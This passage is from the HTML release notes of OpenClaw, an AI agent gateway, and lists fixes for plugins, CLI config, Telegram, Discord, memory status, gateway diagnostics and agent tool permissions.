<p>Plugins/OpenRouter: advertise DeepSeek V4 thinking levels, including <code>xhigh</code> and <code>max</code>, through the runtime and lightweight provider policy surfaces so <code>/think</code> validation no longer rejects OpenRouter-routed DeepSeek V4 models. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355101928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74788" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74788/hovercard" href="https://github.com/openclaw/openclaw/issues/74788">#74788</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Status/sessions: ignore malformed non-string persisted session provider/model metadata instead of throwing while rendering status summaries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369700535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76206/hovercard" href="https://github.com/openclaw/openclaw/issues/76206">#76206</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/config: remove only the targeted array element for <code>openclaw config unset array[index]</code> instead of replaying the unset during config write and deleting the shifted next element. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370277739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76290/hovercard" href="https://github.com/openclaw/openclaw/issues/76290">#76290</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/voice-call: treat abnormal local Gateway close code 1006 as a standalone CLI fallback case, so <code>voicecall smoke</code> and related commands can still run the provider check path when the Gateway socket closes before returning a response.</p>
</li>
<li>
<p>CLI/doctor: migrate legacy per-channel <code>streaming.progress</code> config into <code>streaming.preview.toolProgress</code>, so upgrades with stale Discord or Telegram streaming keys validate again instead of blocking plugin commands.</p>
</li>
<li>
<p>Plugins/release: reject ClawHub code-plugin packages that contain TypeScript runtime entries without compiled <code>dist/*.js</code> output, and run package-local runtime-build checks during npm and ClawHub plugin release previews.</p>
</li>
<li>
<p>Plugins/update: keep beta-installed OpenClaw package updates on the beta plugin channel even when config still says stable, so Discord and other externalized plugins update from compiled <code>@beta</code> packages instead of stale source-only <code>latest</code> artifacts.</p>
</li>
<li>
<p>Agents/tools: stop treating <code>tools.deny: ["write"]</code> as an implicit <code>apply_patch</code> deny; operators who want to block patch writes should deny <code>apply_patch</code> or <code>group:fs</code> explicitly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372125703" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76749" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76749/hovercard" href="https://github.com/openclaw/openclaw/issues/76749">#76749</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372261939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76795" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76795/hovercard" href="https://github.com/openclaw/openclaw/pull/76795">#76795</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nek-12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nek-12">@Nek-12</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/release: verify published plugin npm tarballs expose compiled runtime entries after publish, catching TS-only package artifacts before release closeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/message: exit cleanly with a nonzero status when message-command plugin registry loading fails before dispatch, preventing <code>openclaw-message</code> children from staying alive after plugin load errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369518725" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76168" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76168/hovercard" href="https://github.com/openclaw/openclaw/issues/76168">#76168</a>.</p>
</li>
<li>
<p>Plugins/config: report configured plugins that are present but blocked by path-safety checks as blocked instead of stale <code>plugin not found</code> entries, and deduplicate repeated blocked-candidate warnings during discovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369376180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76144" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76144/hovercard" href="https://github.com/openclaw/openclaw/issues/76144">#76144</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mayank6136/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mayank6136">@mayank6136</a>.</p>
</li>
<li>
<p>Gateway/update: recover an installed-but-unloaded macOS LaunchAgent after package updates, rerun Gateway health/version/channel readiness checks, and print restart, reinstall, and rollback guidance before reporting update failure. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372245183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76790" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76790/hovercard" href="https://github.com/openclaw/openclaw/pull/76790">#76790</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonathanlindsay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonathanlindsay">@jonathanlindsay</a>.</p>
</li>
<li>
<p>CLI/plugins: explain when a missing plugin command alias belongs to a bundled plugin that is disabled by default, including the <code>openclaw plugins enable &lt;plugin&gt;</code> repair command. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372434646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76835/hovercard" href="https://github.com/openclaw/openclaw/pull/76835">#76835</a>)</p>
</li>
<li>
<p>Gateway/Bonjour: auto-start LAN multicast discovery only on macOS hosts while preserving explicit <code>openclaw plugins enable bonjour</code> startup elsewhere, so Linux servers and containers that do not need LAN discovery avoid default mDNS probing and watchdog churn. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348958904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74209/hovercard" href="https://github.com/openclaw/openclaw/issues/74209">#74209</a>.</p>
</li>
<li>
<p>Gateway/macOS: stop <code>doctor</code> and LaunchAgent recovery from running <code>launchctl kickstart -k</code> after a fresh bootstrap, avoiding an immediate SIGTERM of the just-started gateway while still nudging already-loaded launchd jobs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370027099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76261/hovercard" href="https://github.com/openclaw/openclaw/issues/76261">#76261</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solosage1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solosage1">@solosage1</a>.</p>
</li>
<li>
<p>Google Meet: route stateful CLI session commands through the gateway-owned runtime so joined realtime sessions survive after the starting CLI process exits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370516508" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76344" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76344/hovercard" href="https://github.com/openclaw/openclaw/issues/76344">#76344</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coltonharris-wq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coltonharris-wq">@coltonharris-wq</a>.</p>
</li>
<li>
<p>Memory/status: split builtin sqlite-vec store readiness from embedding-provider readiness in <code>memory status --deep</code> and <code>openclaw status</code>, so local vector-store failures no longer look like provider failures and provider failures no longer hide a healthy local vector store.</p>
</li>
<li>
<p>CLI/doctor: trust a ready gateway memory probe when CLI-side active memory backend resolution is unavailable, preventing false "No active memory plugin is registered" warnings for healthy runtime setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372247083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76792" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76792/hovercard" href="https://github.com/openclaw/openclaw/issues/76792">#76792</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/som-686/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/som-686">@som-686</a>.</p>
</li>
<li>
<p>Memory/status: keep plain <code>openclaw memory status</code> and <code>openclaw memory status --json</code> on the cheap read-only path by reserving vector and embedding provider probes for <code>--deep</code> or <code>--index</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372172451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76769" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76769/hovercard" href="https://github.com/openclaw/openclaw/issues/76769">#76769</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daruire/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daruire">@daruire</a>.</p>
</li>
<li>
<p>Telegram: suppress stale same-session replies when a newer accepted message arrives before an older in-flight Telegram dispatch finalizes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371606977" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76642" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76642/hovercard" href="https://github.com/openclaw/openclaw/issues/76642">#76642</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chinar-amrutkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chinar-amrutkar">@chinar-amrutkar</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: throttle repeated long-running active-work session warnings so healthy cron or subagent runs no longer print the same <code>recovery=none</code> line every heartbeat.</p>
</li>
<li>
<p>Gateway/diagnostics: keep non-blocking active-work and transient event-loop max-spike liveness diagnostics out of the default gateway console while preserving structured diagnostic events and warnings for queued, stalled, and recovery-eligible work.</p>
</li>
<li>
<p>Slack: collapse routine Socket Mode pong-timeout reconnects into one OpenClaw reconnect line and suppress the duplicate Slack SDK pong warning.</p>
</li>
<li>
<p>Gateway/diagnostics: abort-drain embedded runs after an extended no-progress stall so a single dead session no longer leaves queued Discord/channel turns blocked behind repeated <code>recovery=none</code> liveness warnings.</p>
</li>
<li>
<p>Plugins/ClawHub: accept the live artifact resolver <code>kind</code>/<code>sha256</code> field names alongside the typed <code>artifactKind</code>/<code>artifactSha256</code> form so <code>clawhub:</code> installs of npm-pack and legacy ZIP packages no longer miss downloadable artifacts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Control UI/Sessions: avoid full <code>sessions.list</code> reloads for chat-turn <code>sessions.changed</code> payloads, so large session stores no longer add multi-second delays while chat responses are being delivered. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371812018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76676" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76676/hovercard" href="https://github.com/openclaw/openclaw/pull/76676">#76676</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Gateway/watch: run <code>doctor --fix --non-interactive</code> once and retry when the dev Gateway child exits during startup, so stale local plugin install/config state does not leave the tmux watch session disappearing without a repair attempt.</p>
</li>
<li>
<p>Doctor/Telegram: warn when selected Telegram quote replies can suppress <code>streaming.preview.toolProgress</code>, and document the <code>replyToMode</code> trade-off without changing runtime delivery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342354447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73487/hovercard" href="https://github.com/openclaw/openclaw/issues/73487">#73487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>.</p>
</li>
<li>
<p>Channels/Discord: send a best-effort native typing cue immediately after an inbound DM is accepted, so slow pre-dispatch turns show Discord liveness before queueing, context assembly, model, or tool work starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370775422" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76417/hovercard" href="https://github.com/openclaw/openclaw/issues/76417">#76417</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mlopez14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mlopez14">@mlopez14</a>.</p>
</li>
<li>
<p>Plugins/install: reject source-only TypeScript package installs and installed plugin packages that are missing compiled runtime output, so broken npm artifacts fail at install/discovery time instead of falling through jiti and surfacing later as unavailable providers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372027509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76720" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76720/hovercard" href="https://github.com/openclaw/openclaw/issues/76720">#76720</a>.</p>
</li>
<li>
<p>Plugins/config: deduplicate identical manifest compatibility diagnostics when an explicitly configured plugin overrides another discovered candidate, so external channel plugins do not print the same missing <code>channelConfigs</code> warning repeatedly during install and enable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/status: honor explicit <code>messages.statusReactions.enabled: true</code> in tool-only guild channels so queued ack reactions can progress through thinking/done lifecycle reactions instead of stopping at the initial emoji. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</p>
</li>
<li>
<p>Discord/native commands: compare Discord-normalized slash-command descriptions and localized descriptions during reconcile so CJK or multiline command text no longer triggers redundant startup PATCH bursts and rate-limit 429s. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371364237" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76587/hovercard" href="https://github.com/openclaw/openclaw/issues/76587">#76587</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhengsx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhengsx">@zhengsx</a>.</p>
</li>
<li>
<p>Agents/OpenAI: omit Chat Completions <code>reasoning_effort</code> for <code>gpt-5.4-mini</code> only when function tools are present while preserving tool-free Chat and Responses reasoning support, preventing Telegram-routed fallback runs from hanging after OpenAI rejects tool payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369566121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76176/hovercard" href="https://github.com/openclaw/openclaw/issues/76176">#76176</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ThisIsAdilah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ThisIsAdilah">@ThisIsAdilah</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chinar-amrutkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chinar-amrutkar">@chinar-amrutkar</a>.</p>
</li>
<li>
<p>Telegram: reuse the successful startup <code>getMe</code> probe for grammY polling startup and continue into <code>getUpdates</code> after recoverable <code>deleteWebhook</code> cleanup failures, reducing high-latency Bot API control-plane calls before long polling starts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370661964" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76388" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76388/hovercard" href="https://github.com/openclaw/openclaw/issues/76388">#76388</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackiedepp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackiedepp">@jackiedepp</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: merge session id/key aliases in diagnostic session state and activity tracking so completed runs no longer leave stale queued work behind that keeps liveness samples at warning level.</p>
</li>
<li>
<p>Agents/models: forward model <code>maxTokens</code> as the default output-token limit for OpenAI-compatible Responses and Completions transports when no runtime override is provided, preventing provider defaults from silently truncating larger outputs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371660728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76645" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76645/hovercard" href="https://github.com/openclaw/openclaw/pull/76645">#76645</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeyfrasier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeyfrasier">@joeyfrasier</a>.</p>
</li>
<li>
<p>macOS CLI/onboarding: honor sensitive wizard text steps in <code>openclaw-mac wizard</code> with termios no-echo input, suppressing saved credential previews while preserving long API keys and gateway tokens. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371933405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76698/hovercard" href="https://github.com/openclaw/openclaw/issues/76698">#76698</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anurag-bg-neu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anurag-bg-neu">@anurag-bg-neu</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Control UI/Skills: fix skill detail modal silently failing to open in all browsers by deferring <code>showModal()</code> until the dialog element is connected to the DOM; the Lit <code>ref</code> callback fired before connection causing a <code>DOMException: HTMLDialogElement.showModal: Dialog element is not connected</code> on every skill click. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickmopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickmopen">@nickmopen</a>.</p>
</li>
<li>
<p>Gateway/update: run <code>doctor --non-interactive --fix</code> after Control UI global package updates before reporting success, so legacy config is migrated before the gateway restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenchouai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenchouai">@stevenchouai</a>.</p>
</li>
<li>
<p>Gateway/cron: stop a lazy cron startup that loses a hot-reload race, preventing the old cron service from starting after reload has already replaced cron state.</p>
</li>
<li>
<p>CLI/plugins: warn when npm plugin installs remain shadowed by a failing config-selected source and surface the repair path in <code>plugins doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LindalyX-Lee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LindalyX-Lee">@LindalyX-Lee</a>.</p>
</li>
<li>
<p>Agents/Telegram: preserve explicit reply and quote context in embedded model prompts without letting quoted text drive prompt-local image loading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370779315" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76419" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76419/hovercard" href="https://github.com/openclaw/openclaw/issues/76419">#76419</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371728761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76659" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76659/hovercard" href="https://github.com/openclaw/openclaw/pull/76659">#76659</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cheechnd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cheechnd">@cheechnd</a>.</p>
</li>
<li>
<p>Active Memory: apply <code>setupGraceTimeoutMs</code> to the embedded recall runner as well as the outer prompt-build watchdog, so very-cold first recalls keep the configured setup grace end-to-end. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352275748" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74480/hovercard" href="https://github.com/openclaw/openclaw/pull/74480">#74480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/volcano303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/volcano303">@volcano303</a>.</p>
</li>
<li>
<p>Channels/Feishu: cap how long the per-chat sequential queue blocks subsequent same-key tasks behind a single in-flight task (5 min default), so a single hung dispatch no longer leaves later same-chat messages in <code>queued</code> state until gateway restart; the stuck task continues running but is evicted from the blocking chain and a warning is logged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308531730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70133" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70133/hovercard" href="https://github.com/openclaw/openclaw/issues/70133">#70133</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371855669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76687" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76687/hovercard" href="https://github.com/openclaw/openclaw/pull/76687">#76687</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bek91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bek91">@bek91</a>.</p>
</li>
<li>
<p>Active Memory: skip scoped Telegram forum-topic conversation ids (containing <code>:</code>) when resolving the embedded recall run channel, falling back to <code>messageProvider</code> instead, so Active Memory no longer throws a bundled-plugin dirName validation error in forum-topic sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371944266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76704/hovercard" href="https://github.com/openclaw/openclaw/issues/76704">#76704</a>.</p>
</li>
<li>
<p>Agents/tools: defer automatic PDF model/auth resolution until the PDF tool is used, keeping agent-turn tool prep from probing auth profiles on messages without PDFs while preserving explicit PDF model registration. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371647356" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76644" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76644/hovercard" href="https://github.com/openclaw/openclaw/issues/76644">#76644</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>CLI/config: keep JSON dry-run patches validating touched channel configuration against bundled channel schemas even when the patch only contains SecretRef objects.</p>
</li>
<li>
<p>Plugins/tools: keep disabled bundled tool plugins out of explicit runtime allowlist ownership and fall back from loaded-but-empty channel registries to tool-bearing plugin registries, so Active Memory can use bundled <code>memory-core</code> search/get tools even when <code>memory-lancedb</code> is disabled. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371441459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76603" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76603/hovercard" href="https://github.com/openclaw/openclaw/issues/76603">#76603</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jwong-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jwong-art">@jwong-art</a>.</p>
</li>
<li>
<p>Plugins/install: run <code>npm install</code> from the managed npm-root manifest so installing one <code>@openclaw/*</code> plugin preserves already installed sibling plugins instead of pruning them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371289667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76571" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76571/hovercard" href="https://github.com/openclaw/openclaw/issues/76571">#76571</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371440891" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76602/hovercard" href="https://github.com/openclaw/openclaw/pull/76602">#76602</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/byungskers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/byungskers">@byungskers</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crpol/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crpol">@crpol</a>.</p>
</li>
<li>
<p>Plugins/context-engine: include the selected <code>plugins.slots.contextEngine</code> plugin in the gateway startup load plan so external context-engine plugins without <code>activation.onStartup</code> in their manifest are loaded before any agent turn resolves the active engine; prevents the "Context engine X is not registered; falling back to default engine legacy" warning after gateway startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371302001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76576" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76576/hovercard" href="https://github.com/openclaw/openclaw/issues/76576">#76576</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/tools: restore on-demand registry load for path-based plugins (origin "config") so tool factories registered via <code>plugins.load.paths</code> are resolved at agent request time when no pre-warmed channel registry is present; prevents "unknown method" errors after gateway startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371431770" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76598" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76598/hovercard" href="https://github.com/openclaw/openclaw/issues/76598">#76598</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
